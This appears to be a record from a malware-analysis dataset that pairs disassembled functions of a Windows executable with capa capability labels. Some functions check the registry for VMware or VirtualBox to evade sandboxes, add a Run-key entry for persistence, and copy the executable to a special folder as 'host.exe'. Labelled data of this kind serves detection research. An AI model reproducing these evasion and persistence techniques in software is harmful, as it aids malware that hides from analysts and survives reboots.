joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401658
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp - 0x34], 0x100
mov dword [rbp + 0xdc], 0
lea rax, [rbp - 0x34]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.HardwareID
lea rdx, str.SYSTEMCurrentControlSetEnumIDE
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegGetValueA]
call rax
test eax, eax
jne 0x4016f6
lea rax, [rbp - 0x30]
lea rdx, str.VMware
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x4016ec
lea rax, [rbp - 0x30]
lea rdx, str.Virtual
mov rcx, rax
call sym.strstr
test rax, rax
je 0x4016f6
mov dword [rbp + 0xdc], 1
mov dword [rbp - 0x34], 0x100
lea rax, [rbp - 0x34]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, [0x00405041]
lea rdx, str.SYSTEMCurrentControlSetServicesDiskEnum
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegGetValueA]
call rax
test eax, eax
jne 0x40177a
lea rax, [rbp - 0x30]
lea rdx, str.VMware
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x401770
lea rax, [rbp - 0x30]
lea rdx, str.VBOX
mov rcx, rax
call sym.strstr
test rax, rax
je 0x40177a
mov dword [rbp + 0xdc], 1
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret

Function at 0x401789
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x40181f
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.strlen
lea edx, [rax + 1]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
mov rdx, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x401820
nop
add rsp, 0x40
pop rbp
ret

Function at 0x401826
Capabilities:
Copy file
Get common file path

Disassembly:
push rbp
push rdi
sub rsp, 0x358
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1c0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0xb0]
mov r9d, 0
mov r8d, 0x24
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
movabs rdi, 0x78652e74736f685c
mov qword [rax], rdi
mov word [rax + 8], 0x65
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1c0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
nop
add rsp, 0x358
pop rdi
pop rbp
ret
Function at 0x401f40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4020c8
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401f8c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402015
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401f70
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4020fd
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4020e0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40200e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402070
add dword [0x00408624], 1
cmp edi, 8
jae 0x402043
test dil, 4
jne 0x4020b4
test edi, edi
je 0x402038
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4020cf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402038
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40205c
jmp 0x402038
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40200e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402038
xor esi, esi
jmp 0x401f97
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402038
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402850
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x4028a4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40289b
test rsi, rsi
je 0x40289b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402880
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402ae0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402af0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402b00
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402b41
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402b38
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402b43
add rax, 0x28
cmp rax, r9
jne 0x402b24
xor eax, eax
ret

Function at 0x402be0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405400]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402c4d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402c4d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402c4d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402c44
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402c4f
add rax, 0x28
cmp rax, r9
jne 0x402c30
xor eax, eax
add rsp, 0x28
ret

Function at 0x402d50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405400]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402d70
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402d68
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402dcd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402dc4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402dd4
add rax, 0x28
cmp rax, r9
jne 0x402db0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402df0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00405400]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402e5e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402e5e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402e5e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402e5e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402e55
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402e65
add rcx, 0x28
cmp rcx, rax
jne 0x402e40
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402e78
jmp 0x402e5e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402e86
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402e5e
test r9d, r9d
jg 0x402e70
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x403150
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop